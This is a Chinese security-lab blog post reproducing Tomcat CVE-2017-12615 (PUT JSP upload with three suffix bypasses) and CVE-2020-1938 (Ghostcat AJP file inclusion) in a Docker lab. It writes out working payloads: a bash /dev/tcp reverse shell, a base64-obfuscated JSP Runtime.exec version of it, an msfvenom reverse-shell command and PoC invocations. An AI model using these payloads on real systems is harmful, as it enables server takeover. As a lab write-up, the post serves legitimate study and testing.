戟星安全实验室
本文约3300字,阅读约需9分钟。
0x00 简介
0x01 CVE-2017-12615
漏洞原理
-
由于配置不当(非默认配置),将配置文件conf/web.xml中的readonly设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀的上传
-
根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码
-
通过阅读 conf/web.xml 文件,可以发现,默认readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控
漏洞复现
这里使用vuluhub的docker进行漏洞复现,这里就不详细介绍环境搭建了
首先进入CVE-2017-12615的docker环境
up -d
docker ps
//查看docker环境是否启动成功
进入docker容器里查看一下web.xml的代码,可以看到这里readonly设置为false,所以存在漏洞。
访问靶机的8080端口,因为容器已经将8080端口做了映射处理,所以可以访问到。
我们可以看到这是一个Apache Tomcat/8.5.19,在我们的漏洞范围内。
修改方法为PUT方法发送一个test.txt文件上去,可以看到201的成功状态码。
我们可以在usr/local/tomcat/webapps/ROOT下看到test.txt,且内容是我们PUT进入服务器的。
之前说过,使用PUT方法上传任意文件,但限制了jsp后缀的上传,这里首先使用PUT方法直接上传一个冰蝎的jsp上去,发现返回的是404,应该是被拦截了。
这里就需要进行绕过,这里绕过有三种方法
1.Windows下不允许文件以空格结尾以PUT/a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格
2.Windows NTFS流Put/a001.jsp::$DATA HTTP/1.1
3. /在文件名中是非法的,也会被去除(Linux/Windows)Put /a001.jsp/http:/1.1
这里三种方式均有使用,在docker中均可看到成功上传。
冰蝎连接:
0x02 CVE-2020-1938
漏洞原理
Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。
tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性
因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
然后封装成对应的request之后,继续走servlet的映射流程如下
漏洞复现
首先使用poc进行漏洞检测,若存在漏洞则可以查看webapps目录下的所有文件
git clonehttps://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python CNVD-2020-10487-Tomcat-Ajp-lfi.py
利用:
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.121.174 -p 8009 -f /WEB-INF/web.xml
使用bash反弹shell
bash -i >& /dev/tcp/192.168.121.174/8888 0>&1
使用https://www.jackson-t.ca/runtime-exec-payloads.html的转换结果如下:
bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMS4xNzQvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
生成一个test.txt,这里只需要换payload就可以
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");%>
将test.txt文件上传到服务器上后,nc监听在8888端口,执行py文件CNVD-2020-10487-Tomcat-Ajp-lfi.py,读取test.txt即可获取到一个交互式的shell。
如果使用MSF的操作:
msf生成一个shell.txt
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10LPORT=4444 R > shell.txt
将shell.txt上传到docker中。
msf开启监听,注意payload使用java/jsp_shell_reverse_tcp
再读取反弹POC即可上线
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8-p 8009-f shell.txt
0x03 总结
Tomcat 弱口令&后台war部署和Manager App 登录口处可爆破于下期更新。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。
戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
戟星安全实验室
# 长按二维码 关注我们 #
原文始发于微信公众号(戟星安全实验室):Tomcat常见漏洞复现(上)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论